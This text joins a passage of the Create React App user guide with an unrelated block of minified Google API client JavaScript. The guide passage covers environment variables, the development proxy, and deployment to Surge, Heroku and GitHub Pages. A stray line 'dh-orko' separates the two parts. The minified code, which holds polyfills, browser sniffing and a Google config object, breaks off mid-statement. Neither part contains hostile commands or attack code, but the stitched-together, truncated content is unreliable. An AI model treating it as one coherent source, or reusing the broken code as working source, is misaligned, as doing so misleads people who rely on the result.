### Linux, OS X (Bash) ```bash REACT_APP_SECRET_CODE=abcdef npm start ``` > Note: Defining environment variables in this manner is temporary for the life of the shell session. Setting permanent environment variables is outside the scope of these docs. With our environment variable defined, we start the app and consume the values. Remember that the `NODE_ENV` variable will be set for you automatically. When you load the app in the browser and inspect the `<input>`, you will see its value set to `abcdef`, and the bold text will show the environment provided when using `npm start`: ```html <div> <small>You are running this application in <b>development</b> mode.</small> <form> <input type="hidden" value="abcdef" /> </form> </div> ``` Having access to the `NODE_ENV` is also useful for performing actions conditionally: ```js if (process.env.NODE_ENV !== 'production') { analytics.disable(); } ``` ## Integrating with a Node Backend Check out [this tutorial](https://www.fullstackreact.com/articles/using-create-react-app-with-a-server/) for instructions on integrating an app with a Node backend running on another port, and using `fetch()` to access it. You can find the companion GitHub repository [here](https://github.com/fullstackreact/food-lookup-demo). ## Proxying API Requests in Development >Note: this feature is available with `react-scripts@0.2.3` and higher. People often serve the front-end React app from the same host and port as their backend implementation. For example, a production setup might look like this after the app is deployed: ``` / - static server returns index.html with React app /todos - static server returns index.html with React app /api/todos - server handles any /api/* requests using the backend implementation ``` Such setup is **not** required. However, if you **do** have a setup like this, it is convenient to write requests like `fetch('/api/todos')` without worrying about redirecting them to another host or port during development. To tell the development server to proxy any unknown requests to your API server in development, add a `proxy` field to your `package.json`, for example: ```js "proxy": "http://localhost:4000", ``` This way, when you `fetch('/api/todos')` in development, the development server will recognize that it’s not a static asset, and will proxy your request to `http://localhost:4000/api/todos` as a fallback. Conveniently, this avoids [CORS issues](http://stackoverflow.com/questions/21854516/understanding-ajax-cors-and-security-considerations) and error messages like this in development: ``` Fetch API cannot load http://localhost:4000/api/todos. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://localhost:3000' is therefore not allowed access. If an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled. ``` Keep in mind that `proxy` only has effect in development (with `npm start`), and it is up to you to ensure that URLs like `/api/todos` point to the right thing in production. You don’t have to use the `/api` prefix. Any unrecognized request will be redirected to the specified `proxy`. Currently the `proxy` option only handles HTTP requests, and it won’t proxy WebSocket connections. If the `proxy` option is **not** flexible enough for you, alternatively you can: * Enable CORS on your server ([here’s how to do it for Express](http://enable-cors.org/server_expressjs.html)). * Use [environment variables](#adding-custom-environment-variables) to inject the right server host and port into your app. ## Deployment By default, Create React App produces a build assuming your app is hosted at the server root. To override this, specify the `homepage` in your `package.json`, for example: ```js "homepage": "http://mywebsite.com/relativepath", ``` This will let Create React App correctly infer the root path to use in the generated HTML file. ### Now See [this example](https://github.com/xkawi/create-react-app-now) for a zero-configuration single-command deployment with [now](https://zeit.co/now). ### Heroku Use the [Heroku Buildpack for Create React App](https://github.com/mars/create-react-app-buildpack). You can find instructions in [Deploying React with Zero Configuration](https://blog.heroku.com/deploying-react-with-zero-configuration). ### Surge Install the Surge CLI if you haven't already by running `npm install -g surge`. Run the `surge` command and log in you or create a new account. You just need to specify the *build* folder and your custom domain, and you are done. ```sh email: email@domain.com password: ******** project path: /path/to/project/build size: 7 files, 1.8 MB domain: create-react-app.surge.sh upload: [====================] 100%, eta: 0.0s propagate on CDN: [====================] 100% plan: Free users: email@domain.com IP Address: X.X.X.X Success! Project is published and running at create-react-app.surge.sh ``` Note that in order to support routers that use html5 `pushState` API, you may want to rename the `index.html` in your build folder to `200.html` before deploying to Surge. This [ensures that every URL falls back to that file](https://surge.sh/help/adding-a-200-page-for-client-side-routing). ### GitHub Pages >Note: this feature is available with `react-scripts@0.2.0` and higher. Open your `package.json` and add a `homepage` field: ```js "homepage": "http://myusername.github.io/my-app", ``` **The above step is important!** Create React App uses the `homepage` field to determine the root URL in the built HTML file. Now, whenever you run `npm run build`, you will see a cheat sheet with a sequence of commands to deploy to GitHub pages: ```sh git commit -am "Save local changes" git checkout -B gh-pages git add -f build git commit -am "Rebuild website" git filter-branch -f --prune-empty --subdirectory-filter build git push -f origin gh-pages git checkout - ``` You may copy and paste them, or put them into a custom shell script. You may also customize them for another hosting provider. Note that GitHub Pages doesn't support routers that use the HTML5 `pushState` history API under the hood (for example, React Router using `browserHistory`). This is because when there is a fresh page load for a url like `http://user.github.io/todomvc/todos/42`, where `/todos/42` is a frontend route, the GitHub Pages server returns 404 because it knows nothing of `/todos/42`. If you want to add a router to a project hosted on GitHub Pages, here are a couple of solutions: * You could switch from using HTML5 history API to routing with hashes. If you use React Router, you can switch to `hashHistory` for this effect, but the URL will be longer and more verbose (for example, `http://user.github.io/todomvc/#/todos/42?_k=yknaj`). [Read more](https://github.com/reactjs/react-router/blob/master/docs/guides/Histories.md#histories) about different history implementations in React Router. * Alternatively, you can use a trick to teach GitHub Pages to handle 404 by redirecting to your `index.html` page with a special redirect parameter. You would need to add a `404.html` file with the redirection code to the `build` folder before deploying your project, and you’ll need to add code handling the redirect parameter to `index.html`. You can find a detailed explanation of this technique [in this guide](https://github.com/rafrex/spa-github-pages). ## Something Missing? If you have ideas for more “How To” recipes that should be on this page, [let us know](https://github.com/facebookincubator/create-react-app/issues) or [contribute some!](https://github.com/facebookincubator/create-react-app/edit/master/template/README.md)
dh-orko
/* JS */ gapi.loaded_0(function(_){var window=this; var ha,ia,ja,ma,sa,na,ta,ya,Ja;_.ea=function(a){return function(){return _.da[a].apply(this,arguments)}};_._DumpException=function(a){throw a;};_.da=[];ha="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){a!=Array.prototype&&a!=Object.prototype&&(a[b]=c.value)};ia="undefined"!=typeof window&&window===this?this:"undefined"!=typeof window.global&&null!=window.global?window.global:this;ja=function(){ja=function(){};ia.Symbol||(ia.Symbol=ma)}; ma=function(){var a=0;return function(b){return"jscomp_symbol_"+(b||"")+a++}}();sa=function(){ja();var a=ia.Symbol.iterator;a||(a=ia.Symbol.iterator=ia.Symbol("iterator"));"function"!=typeof Array.prototype[a]&&ha(Array.prototype,a,{configurable:!0,writable:!0,value:function(){return na(this)}});sa=function(){}};na=function(a){var b=0;return ta(function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}})};ta=function(a){sa();a={next:a};a[ia.Symbol.iterator]=function(){return this};return a}; _.wa=function(a){sa();var b=a[window.Symbol.iterator];return b?b.call(a):na(a)};_.xa="function"==typeof Object.create?Object.create:function(a){var b=function(){};b.prototype=a;return new b};if("function"==typeof Object.setPrototypeOf)ya=Object.setPrototypeOf;else{var Ba;a:{var Ca={a:!0},Da={};try{Da.__proto__=Ca;Ba=Da.a;break a}catch(a){}Ba=!1}ya=Ba?function(a,b){a.__proto__=b;if(a.__proto__!==b)throw new TypeError(a+" is not extensible");return a}:null}_.Fa=ya; Ja=function(a,b){if(b){var c=ia;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];e in c||(c[e]={});c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ha(c,a,{configurable:!0,writable:!0,value:b})}};Ja("Array.prototype.find",function(a){return a?a:function(a,c){a:{var b=this;b instanceof String&&(b=String(b));for(var e=b.length,f=0;f<e;f++){var h=b[f];if(a.call(c,h,f,b)){a=h;break a}}a=void 0}return a}});var Ka=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)}; Ja("WeakMap",function(a){function b(a){Ka(a,d)||ha(a,d,{value:{}})}function c(a){var c=Object[a];c&&(Object[a]=function(a){b(a);return c(a)})}if(function(){if(!a||!Object.seal)return!1;try{var b=Object.seal({}),c=Object.seal({}),d=new a([[b,2],[c,3]]);if(2!=d.get(b)||3!=d.get(c))return!1;d["delete"](b);d.set(c,4);return!d.has(b)&&4==d.get(c)}catch(n){return!1}}())return a;var d="$jscomp_hidden_"+Math.random();c("freeze");c("preventExtensions");c("seal");var e=0,f=function(a){this.Aa=(e+=Math.random()+ 1).toString();if(a){ja();sa();a=_.wa(a);for(var b;!(b=a.next()).done;)b=b.value,this.set(b[0],b[1])}};f.prototype.set=function(a,c){b(a);if(!Ka(a,d))throw Error("a`"+a);a[d][this.Aa]=c;return this};f.prototype.get=function(a){return Ka(a,d)?a[d][this.Aa]:void 0};f.prototype.has=function(a){return Ka(a,d)&&Ka(a[d],this.Aa)};f.prototype["delete"]=function(a){return Ka(a,d)&&Ka(a[d],this.Aa)?delete a[d][this.Aa]:!1};return f}); Ja("Map",function(a){if(function(){if(!a||"function"!=typeof a||!a.prototype.entries||"function"!=typeof Object.seal)return!1;try{var b=Object.seal({x:4}),c=new a(_.wa([[b,"s"]]));if("s"!=c.get(b)||1!=c.size||c.get({x:4})||c.set({x:4},"t")!=c||2!=c.size)return!1;var d=c.entries(),e=d.next();if(e.done||e.value[0]!=b||"s"!=e.value[1])return!1;e=d.next();return e.done||4!=e.value[0].x||"t"!=e.value[1]||!d.next().done?!1:!0}catch(q){return!1}}())return a;ja();sa();var b=new window.WeakMap,c=function(a){this.lf= {};this.Pe=f();this.size=0;if(a){a=_.wa(a);for(var b;!(b=a.next()).done;)b=b.value,this.set(b[0],b[1])}};c.prototype.set=function(a,b){var c=d(this,a);c.list||(c.list=this.lf[c.id]=[]);c.ke?c.ke.value=b:(c.ke={next:this.Pe,Pi:this.Pe.Pi,head:this.Pe,key:a,value:b},c.list.push(c.ke),this.Pe.Pi.next=c.ke,this.Pe.Pi=c.ke,this.size++);return this};c.prototype["delete"]=function(a){a=d(this,a);return a.ke&&a.list?(a.list.splice(a.index,1),a.list.length||delete this.lf[a.id],a.ke.Pi.next=a.ke.next,a.ke.next.Pi= a.ke.Pi,a.ke.head=null,this.size--,!0):!1};c.prototype.clear=function(){this.lf={};this.Pe=this.Pe.Pi=f();this.size=0};c.prototype.has=function(a){return!!d(this,a).ke};c.prototype.get=function(a){return(a=d(this,a).ke)&&a.value};c.prototype.entries=function(){return e(this,function(a){return[a.key,a.value]})};c.prototype.keys=function(){return e(this,function(a){return a.key})};c.prototype.values=function(){return e(this,function(a){return a.value})};c.prototype.forEach=function(a,b){for(var c=this.entries(), d;!(d=c.next()).done;)d=d.value,a.call(b,d[1],d[0],this)};c.prototype[window.Symbol.iterator]=c.prototype.entries;var d=function(a,c){var d=c&&typeof c;"object"==d||"function"==d?b.has(c)?d=b.get(c):(d=""+ ++h,b.set(c,d)):d="p_"+c;var e=a.lf[d];if(e&&Ka(a.lf,d))for(a=0;a<e.length;a++){var f=e[a];if(c!==c&&f.key!==f.key||c===f.key)return{id:d,list:e,index:a,ke:f}}return{id:d,list:e,index:-1,ke:void 0}},e=function(a,b){var c=a.Pe;return ta(function(){if(c){for(;c.head!=a.Pe;)c=c.Pi;for(;c.next!=c.head;)return c= c.next,{done:!1,value:b(c)};c=null}return{done:!0,value:void 0}})},f=function(){var a={};return a.Pi=a.next=a.head=a},h=0;return c}); Ja("Set",function(a){if(function(){if(!a||"function"!=typeof a||!a.prototype.entries||"function"!=typeof Object.seal)return!1;try{var b=Object.seal({x:4}),d=new a(_.wa([b]));if(!d.has(b)||1!=d.size||d.add(b)!=d||1!=d.size||d.add({x:4})!=d||2!=d.size)return!1;var e=d.entries(),f=e.next();if(f.done||f.value[0]!=b||f.value[1]!=b)return!1;f=e.next();return f.done||f.value[0]==b||4!=f.value[0].x||f.value[1]!=f.value[0]?!1:e.next().done}catch(h){return!1}}())return a;ja();sa();var b=function(a){this.V= new window.Map;if(a){a=_.wa(a);for(var b;!(b=a.next()).done;)this.add(b.value)}this.size=this.V.size};b.prototype.add=function(a){this.V.set(a,a);this.size=this.V.size;return this};b.prototype["delete"]=function(a){a=this.V["delete"](a);this.size=this.V.size;return a};b.prototype.clear=function(){this.V.clear();this.size=0};b.prototype.has=function(a){return this.V.has(a)};b.prototype.entries=function(){return this.V.entries()};b.prototype.values=function(){return this.V.values()};b.prototype.keys= b.prototype.values;b.prototype[window.Symbol.iterator]=b.prototype.values;b.prototype.forEach=function(a,b){var c=this;this.V.forEach(function(d){return a.call(b,d,d,c)})};return b});_.La=_.La||{};_.m=this;_.r=function(a){return void 0!==a};_.u=function(a){return"string"==typeof a}; _.Ma=function(a){var b=typeof a;if("object"==b)if(a){if(a instanceof Array)return"array";if(a instanceof Object)return b;var c=Object.prototype.toString.call(a);if("[object Window]"==c)return"object";if("[object Array]"==c||"number"==typeof a.length&&"undefined"!=typeof a.splice&&"undefined"!=typeof a.propertyIsEnumerable&&!a.propertyIsEnumerable("splice"))return"array";if("[object Function]"==c||"undefined"!=typeof a.call&&"undefined"!=typeof a.propertyIsEnumerable&&!a.propertyIsEnumerable("call"))return"function"}else return"null"; else if("function"==b&&"undefined"==typeof a.call)return"object";return b};_.Oa=function(a){return"array"==_.Ma(a)};_.Pa="closure_uid_"+(1E9*Math.random()>>>0);_.Qa=Date.now||function(){return+new Date};_.w=function(a,b){a=a.split(".");var c=_.m;a[0]in c||!c.execScript||c.execScript("var "+a[0]);for(var d;a.length&&(d=a.shift());)!a.length&&_.r(b)?c[d]=b:c=c[d]&&c[d]!==Object.prototype[d]?c[d]:c[d]={}}; _.z=function(a,b){function c(){}c.prototype=b.prototype;a.H=b.prototype;a.prototype=new c;a.prototype.constructor=a;a.ep=function(a,c,f){for(var d=Array(arguments.length-2),e=2;e<arguments.length;e++)d[e-2]=arguments[e];return b.prototype[c].apply(a,d)}}; _.Ta=window.osapi=window.osapi||{}; window.___jsl=window.___jsl||{}; (window.___jsl.cd=window.___jsl.cd||[]).push({gwidget:{parsetags:"explicit"},appsapi:{plus_one_service:"/plus/v1"},csi:{rate:.01},poshare:{hangoutContactPickerServer:"https://plus.google.com"},gappsutil:{required_scopes:["https://www.googleapis.com/auth/plus.me","https://www.googleapis.com/auth/plus.people.recommended"],display_on_page_ready:!1},appsutil:{required_scopes:["https://www.googleapis.com/auth/plus.me","https://www.googleapis.com/auth/plus.people.recommended"],display_on_page_ready:!1}, "oauth-flow":{authUrl:"https://accounts.google.com/o/oauth2/auth",proxyUrl:"https://accounts.google.com/o/oauth2/postmessageRelay",redirectUri:"postmessage",loggingUrl:"https://accounts.google.com/o/oauth2/client_log"},iframes:{sharebox:{params:{json:"&"},url:":socialhost:/:session_prefix:_/sharebox/dialog"},plus:{url:":socialhost:/:session_prefix:_/widget/render/badge?usegapi=1"},":socialhost:":"https://apis.google.com",":im_socialhost:":"https://plus.googleapis.com",domains_suggest:{url:"https://domains.google.com/suggest/flow"}, card:{params:{s:"#",userid:"&"},url:":socialhost:/:session_prefix:_/hovercard/internalcard"},":signuphost:":"https://plus.google.com",":gplus_url:":"https://plus.google.com",plusone:{url:":socialhost:/:session_prefix:_/+1/fastbutton?usegapi=1"},plus_share:{url:":socialhost:/:session_prefix:_/+1/sharebutton?plusShare=true&usegapi=1"},plus_circle:{url:":socialhost:/:session_prefix:_/widget/plus/circle?usegapi=1"},plus_followers:{url:":socialhost:/_/im/_/widget/render/plus/followers?usegapi=1"},configurator:{url:":socialhost:/:session_prefix:_/plusbuttonconfigurator?usegapi=1"}, appcirclepicker:{url:":socialhost:/:session_prefix:_/widget/render/appcirclepicker"},page:{url:":socialhost:/:session_prefix:_/widget/render/page?usegapi=1"},person:{url:":socialhost:/:session_prefix:_/widget/render/person?usegapi=1"},community:{url:":ctx_socialhost:/:session_prefix::im_prefix:_/widget/render/community?usegapi=1"},follow:{url:":socialhost:/:session_prefix:_/widget/render/follow?usegapi=1"},commentcount:{url:":socialhost:/:session_prefix:_/widget/render/commentcount?usegapi=1"},comments:{url:":socialhost:/:session_prefix:_/widget/render/comments?usegapi=1"}, youtube:{url:":socialhost:/:session_prefix:_/widget/render/youtube?usegapi=1"},reportabuse:{url:":socialhost:/:session_prefix:_/widget/render/reportabuse?usegapi=1"},additnow:{url:":socialhost:/additnow/additnow.html"},udc_webconsentflow:{url:"https://myaccount.google.com/webconsent?usegapi=1"},appfinder:{url:"https://gsuite.google.com/:session_prefix:marketplace/appfinder?usegapi=1"},":source:":"1p"},poclient:{update_session:"google.updateSessionCallback"},"googleapis.config":{methods:{"pos.plusones.list":!0, "pos.plusones.get":!0,"pos.plusones.insert":!0,"pos.plusones.delete":!0,"pos.plusones.getSignupState":!0},versions:{pos:"v1"},rpc:"/rpc",root:"https://content.googleapis.com","root-1p":"https://clients6.google.com",useGapiForXd3:!0,xd3:"/static/proxy.html",developerKey:"AIzaSyCKSbrvQasunBoV16zDH9R33D88CeLr9gQ",auth:{useInterimAuth:!1}},report:{apis:["iframes\\..*","gadgets\\..*","gapi\\.appcirclepicker\\..*","gapi\\.client\\..*"],rate:1E-4},client:{perApiBatch:!0}}); var Za,eb,fb;_.Ua=function(a){return"number"==typeof a};_.Va=function(){};_.Wa=function(a){var b=_.Ma(a);return"array"==b||"object"==b&&"number"==typeof a.length};_.Xa=function(a){return"function"==_.Ma(a)};_.Ya=function(a){var b=typeof a;return"object"==b&&null!=a||"function"==b};Za=0;_.bb=function(a){return a[_.Pa]||(a[_.Pa]=++Za)};eb=function(a,b,c){return a.call.apply(a.bind,arguments)}; fb=function(a,b,c){if(!a)throw Error();if(2<arguments.length){var d=Array.prototype.slice.call(arguments,2);return function(){var c=Array.prototype.slice.call(arguments);Array.prototype.unshift.apply(c,d);return a.apply(b,c)}}return function(){return a.apply(b,arguments)}};_.A=function(a,b,c){_.A=Function.prototype.bind&&-1!=Function.prototype.bind.toString().indexOf("native code")?eb:fb;return _.A.apply(null,arguments)}; _.ib=Array.prototype.indexOf?function(a,b){return Array.prototype.indexOf.call(a,b,void 0)}:function(a,b){if(_.u(a))return _.u(b)&&1==b.length?a.indexOf(b,0):-1;for(var c=0;c<a.length;c++)if(c in a&&a[c]===b)return c;return-1};_.jb=Array.prototype.lastIndexOf?function(a,b){return Array.prototype.lastIndexOf.call(a,b,a.length-1)}:function(a,b){var c=a.length-1;0>c&&(c=Math.max(0,a.length+c));if(_.u(a))return _.u(b)&&1==b.length?a.lastIndexOf(b,c):-1;for(;0<=c;c--)if(c in a&&a[c]===b)return c;return-1}; _.lb=Array.prototype.forEach?function(a,b,c){Array.prototype.forEach.call(a,b,c)}:function(a,b,c){for(var d=a.length,e=_.u(a)?a.split(""):a,f=0;f<d;f++)f in e&&b.call(c,e[f],f,a)};_.mb=Array.prototype.filter?function(a,b){return Array.prototype.filter.call(a,b,void 0)}:function(a,b){for(var c=a.length,d=[],e=0,f=_.u(a)?a.split(""):a,h=0;h<c;h++)if(h in f){var k=f[h];b.call(void 0,k,h,a)&&(d[e++]=k)}return d}; _.nb=Array.prototype.map?function(a,b){return Array.prototype.map.call(a,b,void 0)}:function(a,b){for(var c=a.length,d=Array(c),e=_.u(a)?a.split(""):a,f=0;f<c;f++)f in e&&(d[f]=b.call(void 0,e[f],f,a));return d};_.ob=Array.prototype.some?function(a,b,c){return Array.prototype.some.call(a,b,c)}:function(a,b,c){for(var d=a.length,e=_.u(a)?a.split(""):a,f=0;f<d;f++)if(f in e&&b.call(c,e[f],f,a))return!0;return!1}; _.qb=Array.prototype.every?function(a,b,c){return Array.prototype.every.call(a,b,c)}:function(a,b,c){for(var d=a.length,e=_.u(a)?a.split(""):a,f=0;f<d;f++)if(f in e&&!b.call(c,e[f],f,a))return!1;return!0};_.rb=function(a,b){return 0<=(0,_.ib)(a,b)}; var vb;_.sb=function(a){return/^[\s\xa0]*$/.test(a)};_.tb=String.prototype.trim?function(a){return a.trim()}:function(a){return/^[\s\xa0]*([\s\S]*?)[\s\xa0]*$/.exec(a)[1]};_.ub=String.prototype.repeat?function(a,b){return a.repeat(b)}:function(a,b){return Array(b+1).join(a)}; _.xb=function(a,b){var c=0;a=(0,_.tb)(String(a)).split(".");b=(0,_.tb)(String(b)).split(".");for(var d=Math.max(a.length,b.length),e=0;0==c&&e<d;e++){var f=a[e]||"",h=b[e]||"";do{f=/(\d*)(\D*)(.*)/.exec(f)||["","","",""];h=/(\d*)(\D*)(.*)/.exec(h)||["","","",""];if(0==f[0].length&&0==h[0].length)break;c=vb(0==f[1].length?0:(0,window.parseInt)(f[1],10),0==h[1].length?0:(0,window.parseInt)(h[1],10))||vb(0==f[2].length,0==h[2].length)||vb(f[2],h[2]);f=f[3];h=h[3]}while(0==c)}return c}; vb=function(a,b){return a<b?-1:a>b?1:0};_.yb=2147483648*Math.random()|0; a:{var Bb=_.m.navigator;if(Bb){var Cb=Bb.userAgent;if(Cb){_.Ab=Cb;break a}}_.Ab=""}_.Db=function(a){return-1!=_.Ab.indexOf(a)};var Fb;_.Eb=function(a,b,c){for(var d in a)b.call(c,a[d],d,a)};Fb="constructor hasOwnProperty isPrototypeOf propertyIsEnumerable toLocaleString toString valueOf".split(" ");_.Gb=function(a,b){for(var c,d,e=1;e<arguments.length;e++){d=arguments[e];for(c in d)a[c]=d[c];for(var f=0;f<Fb.length;f++)c=Fb[f],Object.prototype.hasOwnProperty.call(d,c)&&(a[c]=d[c])}}; _.Hb=function(){return _.Db("Opera")};_.Ib=function(){return _.Db("Trident")||_.Db("MSIE")};_.Lb=function(){return _.Db("iPhone")&&!_.Db("iPod")&&!_.Db("iPad")};_.Mb=function(){return _.Lb()||_.Db("iPad")||_.Db("iPod")};var Nb=function(a){Nb[" "](a);return a},Sb;Nb[" "]=_.Va;_.Qb=function(a,b){try{return Nb(a[b]),!0}catch(c){}return!1};Sb=function(a,b){var c=Rb;return Object.prototype.hasOwnProperty.call(c,a)?c[a]:c[a]=b(a)};var gc,hc,Rb,pc;_.Tb=_.Hb();_.C=_.Ib();_.Ub=_.Db("Edge");_.Vb=_.Ub||_.C;_.Wb=_.Db("Gecko")&&!(-1!=_.Ab.toLowerCase().indexOf("webkit")&&!_.Db("Edge"))&&!(_.Db("Trident")||_.Db("MSIE"))&&!_.Db("Edge");_.Xb=-1!=_.Ab.toLowerCase().indexOf("webkit")&&!_.Db("Edge");_.Yb=_.Xb&&_.Db("Mobile");_.Zb=_.Db("Macintosh");_.$b=_.Db("Windows");_.ac=_.Db("Linux")||_.Db("CrOS");_.bc=_.Db("Android");_.cc=_.Lb();_.dc=_.Db("iPad");_.ec=_.Db("iPod");_.fc=_.Mb(); gc=function(){var a=_.m.document;return a?a.documentMode:void 0};a:{var ic="",jc=function(){var a=_.Ab;if(_.Wb)return/rv:([^\);]+)(\)|;)/.exec(a);if(_.Ub)return/Edge\/([\d\.]+)/.exec(a);if(_.C)return/\b(?:MSIE|rv)[: ]([^\);]+)(\)|;)/.exec(a);if(_.Xb)return/WebKit\/(\S+)/.exec(a);if(_.Tb)return/(?:Version)[ \/]?(\S+)/.exec(a)}();jc&&(ic=jc?jc[1]:"");if(_.C){var kc=gc();if(null!=kc&&kc>(0,window.parseFloat)(ic)){hc=String(kc);break a}}hc=ic}_.lc=hc;Rb={}; _.mc=function(a){return Sb(a,function(){return 0<=_.xb(_.lc,a)})};_.oc=function(a){return Number(_.nc)>=a};var qc=_.m.document;pc=qc&&_.C?gc()||("CSS1Compat"==qc.compatMode?(0,window.parseInt)(_.lc,10):5):void 0;_.nc=pc; var sc,wc,xc,yc,zc,Ac,Bc,Cc;_.rc=function(a,b){return _.da[a]=b};_.tc=function(a){return Array.prototype.concat.apply([],arguments)};_.uc=function(a){var b=a.length;if(0<b){for(var c=Array(b),d=0;d<b;d++)c[d]=a[d];return c}return[]};_.vc=function(a,b){return 0==a.lastIndexOf(b,0)};wc=/&/g;xc=/</g;yc=/>/g;zc=/"/g;Ac=/'/g;Bc=/\x00/g;Cc=/[\x00&<>"']/; _.Dc=function(a){if(!Cc.test(a))return a;-1!=a.indexOf("&")&&(a=a.replace(wc,"&"));-1!=a.indexOf("<")&&(a=a.replace(xc,"<"));-1!=a.indexOf(">")&&(a=a.replace(yc,">"));-1!=a.indexOf('"')&&(a=a.replace(zc,"""));-1!=a.indexOf("'")&&(a=a.replace(Ac,"'"));-1!=a.indexOf("\x00")&&(a=a.replace(Bc,"�"));return a};_.Fc=function(a){return String(a).replace(/\-([a-z])/g,function(a,c){return c.toUpperCase()})};_.Gc=function(a,b){for(var c in a)if(a[c]==b)return!0;return!1}; var Hc,Ic;Hc=!_.C||_.oc(9);Ic=!_.Wb&&!_.C||_.C&&_.oc(9)||_.Wb&&_.mc("1.9.1");_.Jc=_.C&&!_.mc("9");_.Kc=_.C||_.Tb||_.Xb;_.Lc=_.C&&!_.oc(9);var Mc;_.Nc=function(){this.uw="";this.bP=Mc};_.Nc.prototype.Ch=!0;_.Nc.prototype.dg=function(){return this.uw};_.Nc.prototype.toString=function(){return"Const{"+this.uw+"}"};_.Oc=function(a){return a instanceof _.Nc&&a.constructor===_.Nc&&a.bP===Mc?a.uw:"type_error:Const"};Mc={};_.Pc=function(a){var b=new _.Nc;b.uw=a;return b};_.Pc(""); var Qc;_.Rc=function(){this.bC="";this.lP=Qc};_.Rc.prototype.Ch=!0;_.Rc.prototype.dg=function(){return this.bC};_.Rc.prototype.GA=!0;_.Rc.prototype.kl=function(){return 1};_.Sc=function(a){if(a instanceof _.Rc&&a.constructor===_.Rc&&a.lP===Qc)return a.bC;_.Ma(a);return"type_error:TrustedResourceUrl"};_.Uc=function(a){return _.Tc(_.Oc(a))};Qc={};_.Tc=function(a){var b=new _.Rc;b.bC=a;return b}; var Yc,Vc,Zc;_.Wc=function(){this.Zl="";this.VO=Vc};_.Wc.prototype.Ch=!0;_.Wc.prototype.dg=function(){return this.Zl};_.Wc.prototype.GA=!0;_.Wc.prototype.kl=function(){return 1};_.Xc=function(a){if(a instanceof _.Wc&&a.constructor===_.Wc&&a.VO===Vc)return a.Zl;_.Ma(a);return"type_error:SafeUrl"};Yc=/^(?:(?:https?|mailto|ftp):|[^:/?#]*(?:[/?#]|$))/i;_.$c=function(a){if(a instanceof _.Wc)return a;a=a.Ch?a.dg():String(a);Yc.test(a)||(a="about:invalid#zClosurez");return Zc(a)}; _.ad=function(a){if(a instanceof _.Wc)return a;a=a.Ch?a.dg():String(a);Yc.test(a)||(a="about:invalid#zClosurez");return Zc(a)};Vc={};Zc=function(a){var b=new _.Wc;b.Zl=a;return b};Zc("about:blank"); _.dd=function(){this.aC="";this.UO=_.bd};_.dd.prototype.Ch=!0;_.bd={};_.dd.prototype.dg=function(){return this.aC};_.dd.prototype.Bi=function(a){this.aC=a;return this};_.ed=(new _.dd).Bi("");_.gd=function(){this.$B="";this.TO=_.fd};_.gd.prototype.Ch=!0;_.fd={};_.id=function(a){a=_.Oc(a);return 0===a.length?hd:(new _.gd).Bi(a)};_.gd.prototype.dg=function(){return this.$B};_.gd.prototype.Bi=function(a){this.$B=a;return this};var hd=(new _.gd).Bi(""); var jd;_.kd=function(){this.Zl="";this.SO=jd;this.qG=null};_.kd.prototype.GA=!0;_.kd.prototype.kl=function(){return this.qG};_.kd.prototype.Ch=!0;_.kd.prototype.dg=function(){return this.Zl};_.ld=function(a){if(a instanceof _.kd&&a.constructor===_.kd&&a.SO===jd)return a.Zl;_.Ma(a);return"type_error:SafeHtml"};jd={};_.nd=function(a,b){return(new _.kd).Bi(a,b)};_.kd.prototype.Bi=function(a,b){this.Zl=a;this.qG=b;return this};_.nd("<!DOCTYPE html>",0);_.od=_.nd("",0);_.pd=_.nd("<br>",0); _.qd=function(a,b){b=b instanceof _.Wc?b:_.ad(b);a.href=_.Xc(b)};var wd,yd,Ad;_.td=function(a){return a?new _.rd(_.sd(a)):sc||(sc=new _.rd)};_.ud=function(a,b){return _.u(b)?a.getElementById(b):b}; _.vd=function(a,b,c,d){a=d||a;b=b&&"*"!=b?String(b).toUpperCase():"";if(a.querySelectorAll&&a.querySelector&&(b||c))return a.querySelectorAll(b+(c?"."+c:""));if(c&&a.getElementsByClassName){a=a.getElementsByClassName(c);if(b){d={};for(var e=0,f=0,h;h=a[f];f++)b==h.nodeName&&(d[e++]=h);d.length=e;return d}return a}a=a.getElementsByTagName(b||"*");if(c){d={};for(f=e=0;h=a[f];f++)b=h.className,"function"==typeof b.split&&_.rb(b.split(/\s+/),c)&&(d[e++]=h);d.length=e;return d}return a}; _.xd=function(a,b){_.Eb(b,function(b,d){b&&b.Ch&&(b=b.dg());"style"==d?a.style.cssText=b:"class"==d?a.className=b:"for"==d?a.htmlFor=b:wd.hasOwnProperty(d)?a.setAttribute(wd[d],b):_.vc(d,"aria-")||_.vc(d,"data-")?a.setAttribute(d,b):a[d]=b})};wd={cellpadding:"cellPadding",cellspacing:"cellSpacing",colspan:"colSpan",frameborder:"frameBorder",height:"height",maxlength:"maxLength",nonce:"nonce",role:"role",rowspan:"rowSpan",type:"type",usemap:"useMap",valign:"vAlign",width:"width"}; _.zd=function(a,b){var c=String(b[0]),d=b[1];if(!Hc&&d&&(d.name||d.type)){c=["<",c];d.name&&c.push(' name="',_.Dc(d.name),'"');if(d.type){c.push(' type="',_.Dc(d.type),'"');var e={};_.Gb(e,d);delete e.type;d=e}c.push(">");c=c.join("")}c=a.createElement(c);d&&(_.u(d)?c.className=d:_.Oa(d)?c.className=d.join(" "):_.xd(c,d));2<b.length&&yd(a,c,b,2);return c}; yd=function(a,b,c,d){function e(c){c&&b.appendChild(_.u(c)?a.createTextNode(c):c)}for(;d<c.length;d++){var f=c[d];!_.Wa(f)||_.Ya(f)&&0<f.nodeType?e(f):(0,_.lb)(Ad(f)?_.uc(f):f,e)}};_.Bd=function(a){return window.document.createElement(String(a))};_.Dd=function(a){if(1!=a.nodeType)return!1;switch(a.tagName){case "APPLET":case "AREA":case "BASE":case "BR":case "COL":case "COMMAND":case "EMBED":case "FRAME":case "HR":case "IMG":case "INPUT":case "IFRAME":case "ISINDEX":case "KEYGEN":case "LINK":case "NOFRAMES":case "NOSCRIPT":case "META":case "OBJECT":case "PARAM":case "SCRIPT":case "SOURCE":case "STYLE":case "TRACK":case "WBR":return!1}return!0}; _.Ed=function(a,b){yd(_.sd(a),a,arguments,1)};_.Fd=function(a){for(var 